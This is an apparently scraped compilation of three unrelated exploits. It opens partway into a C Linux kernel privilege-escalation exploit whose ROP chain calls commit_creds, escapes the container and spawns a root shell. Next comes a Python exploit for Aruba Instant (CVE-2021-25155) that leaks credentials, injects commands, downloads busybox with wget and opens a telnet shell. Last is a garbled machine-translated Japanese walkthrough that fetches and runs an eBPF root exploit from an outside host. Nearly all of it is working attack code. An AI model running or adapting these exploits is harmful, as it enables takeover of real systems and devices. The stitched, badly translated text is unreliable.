#define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8
// 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972
// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x6748C

// 0xffffffff810c7c80 : pop rdx ; ret
#define POP_RDX_RET 0xC7C80
// 0xffffffff8143a2b4 : pop rsi ; ret
#define POP_RSI_RET 0x43A2B4
// 0xffffffff81067520 : pop rdi ; ret
#define POP_RDI_RET 0x67520
// 0xffffffff8100054b : pop rbp ; ret
#define POP_RBP_RET 0x54B

// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret
#define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6
// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret
#define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1

#define FIND_TASK_BY_VPID 0x963C0
#define SWITCH_TASK_NAMESPACES 0x9D080
#define COMMIT_CREDS 0x9EC10
#define PREPARE_KERNEL_CRED 0x9F1F0

#define ANON_PIPE_BUF_OPS 0xE51600
#define INIT_NSPROXY 0x1250590
#elif KERNEL_UBUNTU_5_8_0_48
// 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39]
#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783
// 0xffffffff8109b6c0 : pop rsp ; ret
#define POP_RSP_RET 0x9B6C0
// 0xffffffff8106db59 : add rsp, 0xd0 ; ret
#define ADD_RSP_D0_RET 0x6DB59

// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3
// 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3
// 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF
// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x891BC

// 0xffffffff810f5633 : pop rcx ; ret
#define POP_RCX_RET 0xF5633
// 0xffffffff811abaae : pop rsi ; ret
#define POP_RSI_RET 0x1ABAAE
// 0xffffffff81089250 : pop rdi ; ret
#define POP_RDI_RET 0x89250
// 0xffffffff810005ae : pop rbp ; ret
#define POP_RBP_RET 0x5AE

// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret
#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894
// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret
#define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB

#define FIND_TASK_BY_VPID 0xBFBC0
#define SWITCH_TASK_NAMESPACES 0xC7A50
#define COMMIT_CREDS 0xC8C80
#define PREPARE_KERNEL_CRED 0xC9110

#define ANON_PIPE_BUF_OPS 0x1078380
#define INIT_NSPROXY 0x1663080
#else
#error "No kernel version defined"
#endif
// clang-format on

#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))

struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};

struct pipe_buffer {
  uint64_t page;
  uint32_t offset;
  uint32_t len;
  uint64_t ops;
  uint32_t flags;
  uint32_t pad;
  uint64_t private;
};

struct pipe_buf_operations {
  uint64_t confirm;
  uint64_t release;
  uint64_t steal;
  uint64_t get;
};

struct {
  long mtype;
  char mtext[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_primary;

struct {
  long mtype;
  char mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
} msg_secondary;

struct {
  long mtype;
  char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];
} msg_fake;

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = MTYPE_FAKE;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
  *(long *)msgp = msgtyp;
  if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
    perror("[-] msgsnd");
    return -1;
  }
  return 0;
}

int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) <
      0) {
    perror("[-] msgrcv");
    return -1;
  }
  return 0;
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
    perror("[-] msgrcv");
    return -1;
  }
  return 0;
}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (write(ss[i][0], buf, size) < 0) {
        perror("[-] write");
        return -1;
      }
    }
  }
  return 0;
}

int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], buf, size) < 0) {
        perror("[-] read");
        return -1;
      }
    }
  }
  return 0;
}

int trigger_oob_write(int s) {
  struct __attribute__((__packed__)) {
    struct ipt_replace replace;
    struct ipt_entry entry;
    struct xt_entry_match match;
    char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
    struct xt_entry_target target;
  } data = {0};

  data.replace.num_counters = 1;
  data.replace.num_entries = 1;
  data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
                       sizeof(data.pad) + sizeof(data.target));

  data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
                            sizeof(data.pad) + sizeof(data.target));
  data.entry.target_offset =
      (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));

  data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));
  strcpy(data.match.u.user.name, "icmp");
  data.match.u.user.revision = 0;

  data.target.u.user.target_size = sizeof(data.target);
  strcpy(data.target.u.user.name, "NFQUEUE");
  data.target.u.user.revision = 1;

  // Partially overwrite the adjacent buffer with 2 bytes of zero.
  if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
    if (errno == ENOPROTOOPT) {
      printf("[-] Error ip_tables module is not loaded.\n");
      return -1;
    }
  }

  return 0;
}

// Note: Must not touch offset 0x10-0x18.
void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
  uint64_t *rop;
#ifdef KERNEL_COS_5_4_89
  *(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET;

  rop = (uint64_t *)&buf[0x18];

  // Save RBP at scratchpad_addr.
  *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET;
  *rop++ = scratchpad_addr; // R14
  *rop++ = 0xDEADBEEF;      // RBP
  *rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBX
  *rop++ = 0xDEADBEEF; // R14
  *rop++ = 0xDEADBEEF; // RBP

  // commit_creds(prepare_kernel_cred(NULL))
  *rop++ = kbase_addr + POP_RDI_RET;
  *rop++ = 0; // RDI
  *rop++ = kbase_addr + PREPARE_KERNEL_CRED;
  *rop++ = kbase_addr + POP_RDX_RET;
  *rop++ = 1; // RDX
  *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + COMMIT_CREDS;

  // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
  *rop++ = kbase_addr + POP_RDI_RET;
  *rop++ = 1; // RDI
  *rop++ = kbase_addr + FIND_TASK_BY_VPID;
  *rop++ = kbase_addr + POP_RDX_RET;
  *rop++ = 1; // RDX
  *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + POP_RSI_RET;
  *rop++ = kbase_addr + INIT_NSPROXY; // RSI
  *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

  // Load RBP from scratchpad_addr and resume execution.
  *rop++ = kbase_addr + POP_RBP_RET;
  *rop++ = scratchpad_addr - 0x25; // RBP
  *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET;
  *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
#elif KERNEL_UBUNTU_5_8_0_48
  *(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
  *(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;

  rop = (uint64_t *)&buf[0xD8];

  // Save RBP at scratchpad_addr.
  *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;
  *rop++ = scratchpad_addr; // R12
  *rop++ = 0xDEADBEEF;      // RBP
  *rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBX
  *rop++ = 0xDEADBEEF; // R12
  *rop++ = 0xDEADBEEF; // RBP

  // commit_creds(prepare_kernel_cred(NULL))
  *rop++ = kbase_addr + POP_RDI_RET;
  *rop++ = 0; // RDI
  *rop++ = kbase_addr + PREPARE_KERNEL_CRED;
  *rop++ = kbase_addr + POP_RCX_RET;
  *rop++ = 4; // RCX
  *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
  *rop++ = kbase_addr + COMMIT_CREDS;

  // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
  *rop++ = kbase_addr + POP_RDI_RET;
  *rop++ = 1; // RDI
  *rop++ = kbase_addr + FIND_TASK_BY_VPID;
  *rop++ = kbase_addr + POP_RCX_RET;
  *rop++ = 4; // RCX
  *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
  *rop++ = kbase_addr + POP_RSI_RET;
  *rop++ = kbase_addr + INIT_NSPROXY; // RSI
  *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

  // Load RBP from scratchpad_addr and resume execution.
  *rop++ = kbase_addr + POP_RBP_RET;
  *rop++ = scratchpad_addr - 0xA; // RBP
  *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;
  *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
#endif
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }

  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(0, &set);
  if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
    perror("[-] sched_setaffinity");
    return -1;
  }

  return 0;
}

int main(int argc, char *argv[]) {
  int s;
  int fd;
  int ss[NUM_SOCKETS][2];
  int pipefd[NUM_PIPEFDS][2];
  int msqid[NUM_MSQIDS];

  char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];
  char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];

  struct msg_msg *msg;
  struct pipe_buf_operations *ops;
  struct pipe_buffer *buf;

  uint64_t pipe_buffer_ops = 0;
  uint64_t kheap_addr = 0, kbase_addr = 0;

  int fake_idx = -1, real_idx = -1;

  printf("[+] Linux Privilege Escalation by theflow@ - 2021\n");

  printf("\n");
  printf("[+] STAGE 0: Initialization\n");

  printf("[*] Setting up namespace sandbox...\n");
  if (setup_sandbox() < 0)
    goto err_no_rmid;

  printf("[*] Initializing sockets and message queues...\n");

  if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("[-] socket");
    goto err_no_rmid;
  }

  for (int i = 0; i < NUM_SOCKETS; i++) {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
      perror("[-] socketpair");
      goto err_no_rmid;
    }
  }

  for (int i = 0; i < NUM_MSQIDS; i++) {
    if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
      perror("[-] msgget");
      goto err_no_rmid;
    }
  }

  printf("\n");
  printf("[+] STAGE 1: Memory corruption\n");

  printf("[*] Spraying primary messages...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    memset(&msg_primary, 0, sizeof(msg_primary));
    *(int *)&msg_primary.mtext[0] = MSG_TAG;
    *(int *)&msg_primary.mtext[4] = i;
    if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
        0)
      goto err_rmid;
  }

  printf("[*] Spraying secondary messages...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    memset(&msg_secondary, 0, sizeof(msg_secondary));
    *(int *)&msg_secondary.mtext[0] = MSG_TAG;
    *(int *)&msg_secondary.mtext[4] = i;
    if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
                  MTYPE_SECONDARY) < 0)
      goto err_rmid;
  }

  printf("[*] Creating holes in primary messages...\n");
  for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
    if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
        0)
      goto err_rmid;
  }

  printf("[*] Triggering out-of-bounds write...\n");
  if (trigger_oob_write(s) < 0)
    goto err_rmid;

  printf("[*] Searching for corrupted primary message...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    if (i != 0 && (i % HOLE_STEP) == 0)
      continue;
    if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
      goto err_no_rmid;
    if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
      printf("[-] Error could not corrupt any primary message.\n");
      goto err_no_rmid;
    }
    if (*(int *)&msg_secondary.mtext[4] != i) {
      fake_idx = i;
      real_idx = *(int *)&msg_secondary.mtext[4];
      break;
    }
  }

  if (fake_idx == -1 && real_idx == -1) {
    printf("[-] Error could not corrupt any primary message.\n");
    goto err_no_rmid;
  }

  // fake_idx's primary message has a corrupted next pointer; wrongly
  // pointing to real_idx's secondary message.
  printf("[+] fake_idx: %x\n", fake_idx);
  printf("[+] real_idx: %x\n", real_idx);

  printf("\n");
  printf("[+] STAGE 2: SMAP bypass\n");

  printf("[*] Freeing real secondary message...\n");
  if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
               MTYPE_SECONDARY) < 0)
    goto err_rmid;

  // Reclaim the previously freed secondary message with a fake msg_msg of
  // maximum possible size.
  printf("[*] Spraying fake secondary messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
                PAGE_SIZE - MSG_MSG_SIZE, 0);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;

  // Use the fake secondary message to read out-of-bounds.
  printf("[*] Leaking adjacent secondary message...\n");
  if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
    goto err_rmid;

  // Check if the leak is valid.
  if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
    printf("[-] Error could not leak adjacent secondary message.\n");
    goto err_rmid;
  }

  // The secondary message contains a pointer to the primary message.
  msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
  kheap_addr = msg->m_list_next;
  if (kheap_addr & (PRIMARY_SIZE - 1))
    kheap_addr = msg->m_list_prev;
  printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

  if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {
    printf("[-] Error kernel heap address is incorrect.\n");
    goto err_rmid;
  }

  printf("[*] Freeing fake secondary messages...\n");
  free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  // Put kheap_addr at next to leak its content. Assumes zero bytes before
  // kheap_addr.
  printf("[*] Spraying fake secondary messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
                sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;

  // Use the fake secondary message to read from kheap_addr.
  printf("[*] Leaking primary message...\n");
  if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
    goto err_rmid;

  // Check if the leak is valid.
  if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
    printf("[-] Error could not leak primary message.\n");
    goto err_rmid;
  }

  // The primary message contains a pointer to the secondary message.
  msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
  kheap_addr = msg->m_list_next;
  if (kheap_addr & (SECONDARY_SIZE - 1))
    kheap_addr = msg->m_list_prev;

  // Calculate the address of the fake secondary message.
  kheap_addr -= SECONDARY_SIZE;
  printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

  if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {
    printf("[-] Error kernel heap address is incorrect.\n");
    goto err_rmid;
  }

  printf("\n");
  printf("[+] STAGE 3: KASLR bypass\n");

  printf("[*] Freeing fake secondary messages...\n");
  free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  // Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
  printf("[*] Spraying fake secondary messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;

  printf("[*] Freeing sk_buff data buffer...\n");
  if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
    goto err_rmid;

  printf("[*] Spraying pipe_buffer objects...\n");
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (pipe(pipefd[i]) < 0) {
      perror("[-] pipe");
      goto err_rmid;
    }
    // Write something to populate pipe_buffer.
    if (write(pipefd[i][1], "pwn", 3) < 0) {
      perror("[-] write");
      goto err_rmid;
    }
  }

  printf("[*] Leaking and freeing pipe_buffer object...\n");
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
        perror("[-] read");
        goto err_rmid;
      }
      if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
        pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
    }
  }

  kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
  printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
  printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

  if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {
    printf("[-] Error kernel base address is incorrect.\n");
    goto err_rmid;
  }

  printf("\n");
  printf("[+] STAGE 4: Kernel code execution\n");

  printf("[*] Spraying fake pipe_buffer objects...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  buf = (struct pipe_buffer *)&secondary_buf;
  buf->ops = kheap_addr + 0x290;
  ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
#ifdef KERNEL_COS_5_4_89
  // RAX points to &buf->ops.
  // RCX points to &buf.
  ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX;
#elif KERNEL_UBUNTU_5_8_0_48
  // RSI points to &buf.
  ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
#endif
  build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;

  // Trigger pipe_release().
  printf("[*] Releasing pipe_buffer objects...\n");
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (close(pipefd[i][0]) < 0) {
      perror("[-] close");
      goto err_rmid;
    }
    if (close(pipefd[i][1]) < 0) {
      perror("[-] close");
      goto err_rmid;
    }
  }

  printf("[*] Checking for root...\n");
  if ((fd = open("/etc/shadow", O_RDONLY)) < 0) {
    printf("[-] Error could not gain root privileges.\n");
    goto err_rmid;
  }
  close(fd);
  printf("[+] Root privileges gained.\n");

  printf("\n");
  printf("[+] STAGE 5: Post-exploitation\n");

  printf("[*] Escaping container...\n");
  setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
  setns(open("/proc/1/ns/pid", O_RDONLY), 0);
  setns(open("/proc/1/ns/net", O_RDONLY), 0);

  printf("[*] Cleaning up...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    // TODO: Fix next pointer.
    if (i == fake_idx)
      continue;
    if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
      perror("[-] msgctl");
  }
  for (int i = 0; i < NUM_SOCKETS; i++) {
    if (close(ss[i][0]) < 0)
      perror("[-] close");
    if (close(ss[i][1]) < 0)
      perror("[-] close");
  }
  if (close(s) < 0)
    perror("[-] close");

  printf("[*] Popping root shell...\n");
  char *args[] = {"/bin/bash", "-i", NULL};
  execve(args[0], args, NULL);

  return 0;

err_rmid:
  for (int i = 0; i < NUM_MSQIDS; i++) {
    if (i == fake_idx)
      continue;
    if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
      perror("[-] msgctl");
  }

err_no_rmid:
  return 1;
}
            
# Exploit Title: Aruba Instant 8.7.1.0 - Arbitrary File Modification
# Date: 15/07/2021
# Exploit Author: Gr33nh4t
# Vendor Homepage: https://www.arubanetworks.com/
# Version:
# Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below
# Aruba Instant 6.5.x: 6.5.4.18 and below
# Aruba Instant 8.3.x: 8.3.0.14 and below
# Aruba Instant 8.5.x: 8.5.0.11 and below
# Aruba Instant 8.6.x: 8.6.0.6 and below
# Aruba Instant 8.7.x: 8.7.1.0 and below
# Tested on: Aruba Instant
# CVE : CVE-2021-25155

import socket
import sys
import struct
import time
import threading
import urllib3
import re
import telnetlib
import xml.etree.ElementTree as ET
import requests

urllib3.disable_warnings()

CONTINUE_RACE = True
SNPRINTF_CREATEFILE_MAX_LENGTH = 245


def race_papi_message(ip):

    global CONTINUE_RACE

    payload = b"\x49\x72"
    payload += b"\x00\x03"
    payload += b"\x7F\x00\x00\x01"
    payload += b"\x7F\x00\x00\x01"
    payload += b"\x00\x00"
    payload += b"\x00\x00"
    payload += b"\x3B\x7E"
    payload += b"\x41\x41"
    payload += b"\x04\x22"
    payload += b"\x00\x00"
    payload += b"\x02\x00"
    payload += b"\x00\x00"
    payload += b"\x00" * 12 * 4
    text_to_send = bytes()
    for i in "msg_ref 3000 /tmp/cfg-plaintext\x00":
        text_to_send += struct.pack("B", int(ord(i)) ^ 0x93)

    packet = payload + text_to_send

    while CONTINUE_RACE:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect((ip, 8211))
        s.send(packet)
        s.close()
        time.sleep(0.004)


def find_credentials(text):
    res = re.search("mgmt-user .*", text)[0]
    res = res.split(" ")
    return (res[1], res[2])


def login(ip, username, password):
    login_data = {
            "opcode": "login",
            "user": username,
            "passwd": password,
            "refresh": "false",
    }
    res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False)

    root = ET.fromstring(res.text)
    return root.find("./data[@name='sid']").text


def create_directory(ip, sid):
    request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0.23759201691110987&=".format(ip=ip, sid=sid)
    res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False)
    if "/tmp/oper_" in res.text:
        print("[+] Successfully created /tmp/oper_/ directory :)")
        return True
    else:
        print("[-] Failed creating /tmp/oper_/ directory")
        return False


def prepare_upload_id(command):
    base_payload = "/../../etc/httpd/"
    cmd_len = len(command)
    padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8  # for the .gz at the end and the '; + spaces
    if padding_len < 0:
        print("[-] Command too long length:{}".format(padding_len))
        exit(1)
    return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command)    


def create_file(ip, command):
    upload_id = prepare_upload_id(command)
    requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False)


def run_command(ip, command):
    print("[*] Executing telnet")
    command = command.replace("?", "%3F")
    command = command.replace("#", "\\\\x23")
    s = requests.Session()
    req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command))
    prep = req.prepare()
    response = s.send(prep, verify=False)
    return response.text

def build_command(command):
    command = command.replace("/", "\\\\x2F")
    command = command.replace("#", "\\\\x23")
    command = command.replace("\"", "\\\"")
    command = command.replace("`", "\`")
    final_command = "echo -e \"{}\"|sh".format(command)
    return final_command

def telnet_connect(router_ip):
    print("[*] Connecting to telnet")
    with telnetlib.Telnet(router_ip, 22222) as tn:
        tn.write(b"rm /etc/httpd/A*sh*.gz\n")
        tn.interact()


def main():

    global CONTINUE_RACE

    ip = sys.argv[1]

    print("[*] Starting the PAPI race thread")
    papi_thread = threading.Thread(target=race_papi_message, args=(ip, ))
    papi_thread.start()

    while CONTINUE_RACE:
        time.sleep(0.1)
        res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False)
        if "version" in res.text:
            print("[+] Successfully leaked the password from config")
            CONTINUE_RACE = False

    file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0]
    user, password = find_credentials(file_content)

    print("[+] Successfully extracted username: {} and password: {}".format(user, password))
    sid = login(ip, user, password)
    print("[*] SID generated: {}".format(sid))

    command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh"""
    final_command = build_command(command)

    if not create_directory(ip, sid):
        return

    print("[*] Creating malicious file in /etc/httpd/")
    create_file(ip, final_command)
    print(run_command(ip, final_command))
    time.sleep(1) # Sleeping waiting for telnet.
    telnet_connect(ip)


if __name__ == "__main__":
    main()
            

0x01はじめに

この脆弱性は、Google Project Zeroによって発見されました。脆弱性は、EBPF BPF(2)システム(config_bpf_syscall)のコンパイルサポートを備えたLinuxカーネルに存在することが報告されており、メモリ任意の読み取りおよび書き込みの脆弱性です。この脆弱性は、EBPF検証モジュールの計算エラーによって引き起こされます。通常のユーザーは特別なBPFを構築して脆弱性を引き起こすことができ、悪意のある攻撃者は脆弱性を使用して地域の特権ハイキング操作を実行することもできます。

0x02脆弱性の影響

Linux Kernelバージョン4.14-4.4(DebianとUbuntuの分布に影響)

0x03テスト環境

ubuntu16.04 x64

0x04テスト手順

1。権利を提起するための住所をダウンロード:

http://Cyclabs.com/exploits/upstream44.c

2.CD /Opt Directoryに切り替えてExp:ダウンロード:

CD /OPT #Preparation//OPTに777の権限があるかどうかを確認するには、それ以外の場合はExpをコンパイルして実行できません

WGET http://Cyclabs.com/exploits/upstream44.c

h1dqpzpnbrl9104.jpg

3.一部のubuntuにはGCCがインストールされておらず、インストールする必要があります。

sudo apt-getインストールGCC

コンパイルされたコンポーネントが不足している場合は、LIBプラグインをインストールする必要があります

apt-getインストールlibc6-dev

4。その後、GCCを使用してコンパイルします

GCC -O Exp UpStream44.C

4nhzufkbcx59105.jpg

5。expを実行可能許可に変更します

chmod +x exp

xtxzrsp04p39106.jpg

6.権利を引き上げるためにExpを実行します

./exp

vjyq11pyf559107.jpg

gfffcqlzvsk9108.jpg

0x05脆弱性修正

現在、明確なパッチアップグレード計画はありません。リスクを評価した後、カーネルパラメーターを変更して、ユーザーが通常のユーザーをBPF(2)システム呼び出しの使用を制限することを一時的に推奨します。

echo 1/proc/sys/kernel/unprivileged_bpf_disabled